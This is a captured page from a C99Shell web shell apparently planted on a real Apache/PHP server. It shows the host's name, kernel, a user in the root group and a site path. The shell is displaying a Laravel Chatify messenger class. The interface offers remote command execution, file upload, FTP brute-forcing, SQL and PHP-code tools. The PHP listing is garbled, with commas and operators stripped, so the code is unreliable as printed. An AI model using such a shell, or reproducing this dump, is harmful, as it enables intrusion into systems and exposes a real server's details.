!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/munafio/chatify/src/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ChatifyMessenger.php (8.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Chatify;

use 
App\Models\ChMessage as Message;
use 
App\Models\ChFavorite as Favorite;
use 
Pusher\Pusher;
use 
Illuminate\Support\Facades\Auth;
use 
Exception;
use 
Illuminate\Support\Facades\File;

class 
ChatifyMessenger
{

    public 
$pusher;

    public function 
__construct()
    {
        
$this->pusher = new Pusher(
            
config('chatify.pusher.key'),
            
config('chatify.pusher.secret'),
            
config('chatify.pusher.app_id'),
            
config('chatify.pusher.options'),
        );
    }
    
/**
     * This method returns the allowed image extensions
     * to attach with the message.
     *
     * @return array
     */
    
public function getAllowedImages(){
        return 
config('chatify.attachments.allowed_images');
    }

    
/**
     * This method returns the allowed file extensions
     * to attach with the message.
     *
     * @return array
     */
    
public function getAllowedFiles(){
        return 
config('chatify.attachments.allowed_files');
    }

    
/**
     * Returns an array contains messenger's colors
     *
     * @return array
     */
    
public function getMessengerColors(){
        return [
            
'1' => '#2180f3',
            
'2' => '#2196F3',
            
'3' => '#00BCD4',
            
'4' => '#3F51B5',
            
'5' => '#673AB7',
            
'6' => '#4CAF50',
            
'7' => '#FFC107',
            
'8' => '#FF9800',
            
'9' => '#ff2522',
            
'10' => '#9C27B0',
        ];
    }

    
/**
     * Trigger an event using Pusher
     *
     * @param string $channel
     * @param string $event
     * @param array $data
     * @return void
     */
    
public function push($channel$event$data)
    {
        return 
$this->pusher->trigger($channel$event$data);
    }

    
/**
     * Authintication for pusher
     *
     * @param string $channelName
     * @param string $socket_id
     * @param array $data
     * @return void
     */
    
public function pusherAuth($channelName$socket_id$data null){
        return 
$this->pusher->socket_auth($channelName$socket_id$data);
    }

    
/**
     * Fetch message by id and return the message card
     * view as a response.
     *
     * @param int $id
     * @return array
     */
    
public function fetchMessage($id){
        
$attachment null;
        
$attachment_type null;
        
$attachment_title null;

        
$msg Message::where('id',$id)->first();

        if(isset(
$msg->attachment)){
            
$attachmentOBJ json_decode($msg->attachment);
            
$attachment $attachmentOBJ->new_name;
            
$attachment_title $attachmentOBJ->old_name;

            
$ext pathinfo($attachmentPATHINFO_EXTENSION);
            
$attachment_type in_array($ext,$this->getAllowedImages()) ? 'image' 'file';
        }

        return [
            
'id' => $msg->id,
            
'from_id' => $msg->from_id,
            
'to_id' => $msg->to_id,
            
'message' => $msg->body,
            
'attachment' => [$attachment$attachment_title$attachment_type],
            
'time' => $msg->created_at->diffForHumans(),
            
'fullTime' => $msg->created_at,
            
'viewType' => ($msg->from_id == Auth::user()->id) ? 'sender' 'default',
            
'seen' => $msg->seen,
        ];
    }

    
/**
     * Return a message card with the given data.
     *
     * @param array $data
     * @param string $viewType
     * @return void
     */
    
public function messageCard($data$viewType null){
        
$data['viewType'] = ($viewType) ? $viewType $data['viewType'];
        return 
view('Chatify::layouts.messageCard',$data)->render();
    }

    
/**
     * Default fetch messages query between a Sender and Receiver.
     *
     * @param int $user_id
     * @return Collection
     */
    
public function fetchMessagesQuery($user_id){
        return 
Message::where('from_id',Auth::user()->id)->where('to_id',$user_id)
                    ->
orWhere('from_id',$user_id)->where('to_id',Auth::user()->id);
    }

    
/**
     * create a new message to database
     *
     * @param array $data
     * @return void
     */
    
public function newMessage($data){
        
$message = new Message();
        
$message->id $data['id'];
        
$message->type $data['type'];
        
$message->from_id $data['from_id'];
        
$message->to_id $data['to_id'];
        
$message->body $data['body'];
        
$message->attachment $data['attachment'];
        
$message->save();
    }

    
/**
     * Make messages between the sender [Auth user] and
     * the receiver [User id] as seen.
     *
     * @param int $user_id
     * @return bool
     */
    
public function makeSeen($user_id){
        
Message::Where('from_id',$user_id)
                ->
where('to_id',Auth::user()->id)
                ->
where('seen',0)
                ->
update(['seen' => 1]);
        return 
1;
    }

    
/**
     * Get last message for a specific user
     *
     * @param int $user_id
     * @return Collection
     */
    
public function getLastMessageQuery($user_id){
        return 
$this->fetchMessagesQuery($user_id)->orderBy('created_at','DESC')->latest()->first();
    }

    
/**
     * Count Unseen messages
     *
     * @param int $user_id
     * @return Collection
     */
    
public function countUnseenMessages($user_id){
        return 
Message::where('from_id',$user_id)->where('to_id',Auth::user()->id)->where('seen',0)->count();
    }

    
/**
     * Get user list's item data [Contact Itme]
     * (e.g. User data, Last message, Unseen Counter...)
     *
     * @param int $messenger_id
     * @param Collection $user
     * @return void
     */
    
public function getContactItem($messenger_id$user){
        
// get last message
        
$lastMessage $this->getLastMessageQuery($user->id);

        
// Get Unseen messages counter
        
$unseenCounter $this->countUnseenMessages($user->id);

        return 
view('Chatify::layouts.listItem', [
            
'get' => 'users',
            
'user' => $user,
            
'lastMessage' => $lastMessage,
            
'unseenCounter' => $unseenCounter,
            
'type'=>'user',
            
'id' => $messenger_id,
        ])->
render();
    }

    
/**
     * Check if a user in the favorite list
     *
     * @param int $user_id
     * @return boolean
     */
    
public function inFavorite($user_id){
        return 
Favorite::where('user_id'Auth::user()->id)
                        ->
where('favorite_id'$user_id)->count() > 0
                        
true false;

    }

    
/**
     * Make user in favorite list
     *
     * @param int $user_id
     * @param int $star
     * @return boolean
     */
    
public function makeInFavorite($user_id$action){
        if (
$action 0) {
            
// Star
            
$star = new Favorite();
            
$star->id rand(9,99999999);
            
$star->user_id Auth::user()->id;
            
$star->favorite_id $user_id;
            
$star->save();
            return 
$star true false;
        }else{
            
// UnStar
            
$star Favorite::where('user_id',Auth::user()->id)->where('favorite_id',$user_id)->delete();
            return 
$star true false;
        }
    }

    
/**
     * Get shared photos of the conversation
     *
     * @param int $user_id
     * @return array
     */
    
public function getSharedPhotos($user_id){
        
$images = array(); // Default
        // Get messages
        
$msgs $this->fetchMessagesQuery($user_id)->orderBy('created_at','DESC');
        if(
$msgs->count() > 0){
            foreach (
$msgs->get() as $msg) {
                
// If message has attachment
                
if($msg->attachment){
                    
$attachment explode(',',$msg->attachment)[0]; // Attachment
                    // determine the type of the attachment
                    
in_array(pathinfo($attachmentPATHINFO_EXTENSION), $this->getAllowedImages())
                    ? 
array_push($images$attachment) : '';
                }
            }
        }
        return 
$images;

    }

    
/**
     * Delete Conversation
     *
     * @param int $user_id
     * @return boolean
     */
    
public function deleteConversation($user_id){
        try {
            foreach (
$this->fetchMessagesQuery($user_id)->get() as $msg) {
                
// delete file attached if exist
                
if (isset($msg->attachment)) {
                    
$path storage_path('app/public/'.config('chatify.attachments.folder').'/'.json_decode$msg->attachment)->new_name);
                    if(
File::exists($path)){
                        
File::delete($path);
                    }
                }
                
// delete from database
                
$msg->delete();
            }
            return 
1;
        }catch(
Exception $e) {
            return 
0;
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--